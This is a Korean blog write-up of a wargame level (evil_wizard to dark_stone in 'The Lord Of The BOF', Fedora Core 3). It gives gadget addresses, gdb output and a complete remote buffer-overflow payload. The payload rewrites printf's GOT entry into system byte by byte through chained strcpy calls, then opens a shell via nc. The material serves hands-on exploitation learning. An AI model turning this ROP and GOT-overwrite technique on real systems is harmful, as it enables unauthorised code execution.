농소
The Lord Of The BOF (FC3) // evil_wizard -> dark_stone 본문
The Lord Of The BOF (FC3) // evil_wizard -> dark_stone
농소 2018. 3. 6. 04:18[ dark_stone ]
문제를 보시면 문제푸는 요령은 전 문제와 동일합니다.
차이점은 remote bof를 통해서만 권한을 딸 수 있는데요
nc를 이용하여 외부에서 공격해주시면 되는 문제입니다.
이전 문제와 동일하게 우선 가젯들을 모아봅시다.
ppr 가젯 0x080484f3
strcpy's plt = 0x8048438
printf's plt = 0x8048408
printf's got = 0x0804984c
system = 0x007507c0
이제 system의 주소와 동일한 값들을 1바이트씩 찾아봅니다.
가젯들을 전부 모았으니 정리해 봅시다
0x7507c0 <system>:
printf's plt = 0x8048408 = "\x08\x84\x04\x08"
printf's got = 0x804984c = "\x4c\x98\x04\x08"
strcpy's plt = 0x8048438 = "\x38\x84\x04\x08"
ppr = 0x080484f3 = "\xf3\x84\x04\x08"
(gdb) x/4b 0x804984c
0x804984c <_GLOBAL_OFFSET_TABLE_+28>: 0x60 0xe6 0x75 0x00 = "\x4c\x98\x04\x08"
0xc0 0x07 0x75 0x00 <-- 로 교체
0x8049850: 0xc0 0x54 0x78 0x00 = "\x50\x98\x04\x08"
0x8049099: 0x07 0x00 = "\x99\x90\x04\x08"
0x8048bf8: 0x75 0x00 = "\xf8\x8b\x04\x08"
strcpy
"\x50\x98\x04\x08" -> "\x4c\x98\x04\x08"
"\x99\x90\x04\x08" -> "\x4d\x98\x04\x08"
"\xf8\x8b\x04\x08" -> "\x4e\x98\x04\x08"
가젯들을 토대로 payload를 작성해 본다면
dummy 268 | strcpy's plt | pop-pop-ret | arg1 | arg2 | strcpy's plt | pop-pop-ret | arg1 | arg2 | strcpy's plt | pop-pop-ret | arg1 | arg2 | printf's plt | aaaa | /bin/sh
"A" * 268 + "\x38\x84\x04\x08" + "\xf3\x84\x04\x08" + "\x4c\x98\x04\x08" + "\x50\x98\x04\x08" + "\x38\x84\x04\x08" + "\xf3\x84\x04\x08" + "\x4d\x98\x04\x08" + "\x99\x90\x04\x08" + "\x38\x84\x04\x08" + "\xf3\x84\x04\x08" + "\x4e\x98\x04\x08" + "\xf8\x8b\x04\x08" + "\x08\x84\x04\x08" + "aaaa" + "\x03\x36\x83\x00"
payload까지 완성했으니 nc를 통해 외부에서 exploit을 해주면
정상적으로 쉘이 실행되면서 권한이 올랐습니다.
'Wargame > The Lord Of The BOF (FC3)' 카테고리의 다른 글
The Lord Of The BOF (FC3) // hell_fire -> evil_wizard (0) | 2018.03.06 |
---|---|
The Lord Of The BOF (FC3) // dark_eyes -> hell_fire (0) | 2018.03.06 |
The Lord Of The BOF (FC3) // iron_golem -> dark_eyes (0) | 2018.03.05 |
The Lord Of The BOF (FC3) // gate -> iron_golem (0) | 2018.02.23 |